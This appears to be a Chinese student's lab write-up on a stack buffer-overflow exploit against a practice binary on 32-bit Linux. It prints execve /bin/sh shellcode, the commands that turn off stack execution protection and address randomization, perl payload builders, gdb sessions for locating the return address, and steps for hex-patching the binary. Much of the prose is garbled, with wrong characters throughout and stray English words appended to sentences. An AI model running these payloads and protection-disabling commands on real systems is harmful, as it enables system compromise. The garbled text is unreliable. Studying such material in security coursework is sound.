首先先准备一段C语言代码:这段代码其实和咱们的shell功能基本同样
shell
为了以后可以看到反汇编的结果,此次采用的静态编译。正常返回shell。sass
通过一系列的工做咱们能够获得这段注入的shellcode代码的反汇编结果(这些代码能够在网上下载,这里感谢一下许心远同窗)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
dom
修改些设置。ssh
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行 root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
在使用execstack
命令时,须要先安装:apt-get install execstack
!!!ui
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。。由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边spa
root@KaliYL:~/exercise1# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。咱们得把它改成这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。\x0a至关于回车键,若回车了下面的操做就作不了了。调试
接下来咱们来肯定\x4\x3\x2\x1到底该填什么。code
打开一个终端注入这段攻击buf:blog
root@KaliYL:~/exercise1# (cat input_shellcode;cat) | ./pwn2
������1�Ph//shh/bin��PS��1Ұ
�进程
再开另一个终端,用gdb来调试pwn2这个进程。
1.找到pwn2的进程号是:1743 root@KaliYL:~/exercise1# ps -ef | grep pwn2 root 1743 1577 0 16:25 pts/0 00:00:00 ./pwn2 root 1745 1708 0 16:25 pts/1 00:00:00 grep pwn2
2.启动gdb调试这个进程 root@KaliYL:~/exercise1# gdb (gdb) attach 1743 Attaching to process 1743 3. 经过设置断点,来查看注入buf的内存地址 (gdb) disassemble foo .... 0x080484ad <+28>: leave 0x080484ae <+29>: ret //断在这,这时注入的东西都大堆栈上了 //ret完,就跳到咱们覆盖的retaddr那个地方了 End of assembler dump. (gdb) break *0x080484ae Breakpoint 1 at 0x80484ae //在另一个终端中按下回车,这就是前面为何不能以\x0a来结束 input_shellcode的缘由。 (gdb) c Continuing. Breakpoint 1, 0x080484ae in foo () (gdb) info r esp ...
注意看这里和老师的不同!
(gdb) x/16x 0xffffd2fc //从这开始就是咱们的Shellcode 0xffffd2fc: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873 0xffffd30c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b 0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000 0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4 0xffffd3cc (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x01020304 in ?? () //这个返回地址占位也是对的 (gdb) quit 4.将返回地址改成0xffffd300。 root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
按照老师给的顺序盲目的作:
root@KaliYL:~# perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode .........
给你们一个信息,上面这段注入的代码时在个人电脑上是不可行..(累得我头皮发麻!!),在个人堆栈上面返回的地址并非0xffffd320
,而是0xffffd330
(为何?),须要把20d3
改为30d3
。
root@KaliYL:~# vi pwn2 如下操做是在vi内 1.按ESC键 2.输入以下,将显示模式切换为16进制模式 :%!xxd 3.查找要修改的内容 /20d3 4.找到后先后的内容和反汇编的对比下,确认是地方是正确的 5.修改20为30 6.转换16进制为原格式 :%!xxd -r 7.存盘退出vi :wq
可是以上实践是在很是简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境